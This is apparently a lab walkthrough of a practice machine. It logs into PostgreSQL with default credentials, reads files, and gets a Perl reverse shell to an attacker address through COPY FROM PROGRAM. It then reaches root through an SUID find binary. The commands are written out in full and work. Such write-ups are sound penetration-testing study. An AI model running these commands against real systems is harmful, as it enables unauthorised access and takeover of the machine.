Enumeration

2021年7月21日 13:51

1: Use autorecon to enumerate its services, **21, 22, 80, 5437** are open
2: FTP does not allow **anonymous** login, and weak credentials also do not work
3: FTP and SSH version do not have helpful vulnerability
4: Check HTTP service, it does not have hidden file or directory and any useful vulnerability
5: As for **Postgres** service, default credential **postgres:postgres** works!

Foothold

2021年7月21日 13:51

1: Connect to postgres by executing **psql -U postgres -p 5337 -h 192.168.156.47**
2: Input password **postgres**
3: Query **\c postgres** to select database **postgres**
4: Query **select pg_ls_dir('/home');**, I can see **wilson** is a user
5: **create table demo (t text);**
6: **copy demo from '/home/wilson/local.txt';**
7: **select * from demo;**, the flag is printed
8: This article describes how to use **postgres** to launch **RCE** (https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
9 : Query **drop table if exists cmd_exec;**
10: **create table cmd_exec(cmd_output test);**
11: **COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.156:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';**
12: Set up a netcat listener (Choose port **80** because of **firewall**), execute **select * from cmd_exec;**
13: Get a reverse shell
14: https://book.hacktricks.xyz/pentesting/pentesting-postgresql lists hacking tips about postgresql

Privilege Escalation

2021年7月21日 13:51

1: Use linenum.sh to enumerate possible vectors
2: Binary **find** is set **SUID**
3: **./find . -exec /bin/sh -p \; -quit**
4: Get root shell
5: cat /root/proof.txt

Review

2021年7月21日 13:51

1: Target **posgresql** service
2: Use **default credential** to log in, query **file's content**
3: Use posgresql's feature to conduct **authenticated arbitrary command execution** to connect to Kali's listener
4: Identify **find** is set **SUID**